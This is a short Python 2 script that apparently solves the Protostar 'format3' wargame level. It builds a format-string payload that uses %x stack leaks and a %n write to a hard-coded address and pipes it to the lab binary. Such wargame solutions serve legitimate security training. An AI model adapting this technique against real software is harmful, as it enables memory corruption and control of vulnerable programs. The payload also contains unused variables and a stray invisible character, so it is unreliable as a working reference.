format3 protostar

protostar_format3.py

import subprocess


#we need to write ‭16930116‬ more chars

target_address = '\xf4\x96\x04\x08'
value_to_write = '\xF7\x54\x02\x01'
padding = '\x41'
leak_ptr = '%x ' * 12
write_to_ptr_format = '%x%x%x%x%x%x%x%x%x%x%x %0*c' + '‭%n'
input = value_to_write  + value_to_write + target_address + write_to_ptr_format + '\n'

proc = subprocess.Popen(['/opt/protostar/bin/format3'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout,stderr = proc.communicate(input=input)
print stdout